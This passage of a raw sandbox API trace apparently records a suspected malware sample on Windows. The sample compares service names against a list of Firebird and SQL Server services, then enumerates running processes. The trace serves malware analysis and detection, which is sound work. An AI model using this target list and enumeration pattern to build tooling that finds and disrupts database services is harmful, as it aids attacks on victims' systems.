5 [0105.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0105.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0105.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0105.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0105.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0105.072] lstrlenW (lpString="Schedule") returned 8 [0105.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0105.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0105.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0105.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0105.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0105.072] lstrlenW (lpString="SecurityHealthService") returned 21 [0105.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0105.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0105.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0105.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0105.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0105.072] lstrlenW (lpString="SENS") returned 4 [0105.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0105.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0105.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0105.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0105.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0105.073] lstrlenW (lpString="ShellHWDetection") returned 16 [0105.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0105.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0105.073] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0105.073] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0105.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0105.073] lstrlenW (lpString="Spooler") returned 7 [0105.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0105.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0105.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0105.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0105.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0105.073] lstrlenW (lpString="sppsvc") returned 6 [0105.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0105.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0105.073] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0105.073] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0105.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0105.073] lstrlenW (lpString="SSDPSRV") returned 7 [0105.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0105.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0105.073] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0105.073] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0105.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0105.073] lstrlenW (lpString="StateRepository") returned 15 [0105.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0105.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0105.074] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0105.074] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0105.074] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x507720 | out: hHeap=0x4b0000) returned 1 [0105.074] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0105.372] Process32FirstW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.372] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0105.373] lstrlenW (lpString="System") returned 6 [0105.373] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0105.374] lstrlenW (lpString="smss.exe") returned 8 [0105.374] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.392] lstrlenW (lpString="csrss.exe") returned 9 [0105.392] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0105.392] lstrlenW (lpString="wininit.exe") returned 11 [0105.393] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.393] lstrlenW (lpString="csrss.exe") returned 9 [0105.394] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0105.394] lstrlenW (lpString="winlogon.exe") returned 12 [0105.394] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0105.395] lstrlenW (lpString="services.exe") returned 12 [0105.395] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0105.395] lstrlenW (lpString="lsass.exe") returned 9 [0105.396] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.396] lstrlenW (lpString="svchost.exe") returned 11 [0105.396] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0105.397] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0105.397] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0105.398] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0105.398] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.398] lstrlenW (lpString="svchost.exe") returned 11 [0105.398] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0105.399] lstrlenW (lpString="dwm.exe") returned 7 [0105.399] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.400] lstrlenW (lpString="svchost.exe") returned 11 [0105.400] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.400] lstrlenW (lpString="svchost.exe") returned 11 [0105.400] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.401] lstrlenW (lpString="svchost.exe") returned 11 [0105.401] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.402] lstrlenW (lpString="svchost.exe") returned 11 [0105.402] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.402] lstrlenW (lpString="svchost.exe") returned 11 [0105.402] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.403] lstrlenW (lpString="svchost.exe") returned 11 [0105.403] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.404] lstrlenW (lpString="svchost.exe") returned 11 [0105.404] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.404] lstrlenW (lpString="svchost.exe") returned 11 [0105.404] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.405] lstrlenW (lpString="svchost.exe") returned 11 [0105.405] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.406] lstrlenW (lpString="svchost.exe") returned 11 [0105.406] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.406] lstrlenW (lpString="spoolsv.exe") returned 11 [0105.406] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.407] lstrlenW (lpString="svchost.exe") returned 11 [0105.407] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0105.408] lstrlenW (lpString="audiodg.exe") returned 11 [0105.408] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0105.408] lstrlenW (lpString="sihost.exe") returned 10 [0105.408] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.618] lstrlenW (lpString="svchost.exe") returned 11 [0105.618] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.618] lstrlenW (lpString="taskhostw.exe") returned 13 [0105.619] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.619] lstrlenW (lpString="explorer.exe") returned 12 [0105.619] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0105.620] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0105.620] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0105.620] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0105.621] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0105.621] lstrlenW (lpString="Memory Compression") returned 18 [0105.621] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0105.622] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0105.622] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0105.622] lstrlenW (lpString="SearchUI.exe") returned 12 [0105.623] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0105.623] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0105.623] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.624] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0105.624] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0105.624] lstrlenW (lpString="pending.exe") returned 11 [0105.625] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0105.625] lstrlenW (lpString="bug workers.exe") returned 15 [0105.625] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0105.626] lstrlenW (lpString="succeed.exe") returned 11 [0105.626] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0105.627] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0105.627] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0105.627] lstrlenW (lpString="bookings.exe") returned 12 [0105.627] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0105.628] lstrlenW (lpString="tramadol for.exe") returned 16 [0105.628] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0105.629] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0105.629] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0105.630] lstrlenW (lpString="starter detection.exe") returned 21 [0105.630] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0105.630] lstrlenW (lpString="unified aus.exe") returned 15 [0105.630] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0105.631] lstrlenW (lpString="taiwan registration.exe") returned 23 [0105.631] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0105.632] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0105.632] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0105.632] lstrlenW (lpString="headlines.exe") returned 13 [0105.632] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0105.633] lstrlenW (lpString="ash-method.exe") returned 14 [0105.633] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0105.634] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0105.634] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0105.634] lstrlenW (lpString="programmes officially.exe") returned 25 [0105.634] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0105.635] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0105.635] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0105.636] lstrlenW (lpString="george-depending.exe") returned 20 [0105.636] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0105.636] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0105.636] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0105.637] lstrlenW (lpString="repeat go.exe") returned 13 [0105.637] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0105.638] lstrlenW (lpString="showcase.exe") returned 12 [0105.638] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0105.639] lstrlenW (lpString="3dftp.exe") returned 9 [0105.639] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0105.640] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0105.640] Process32NextW 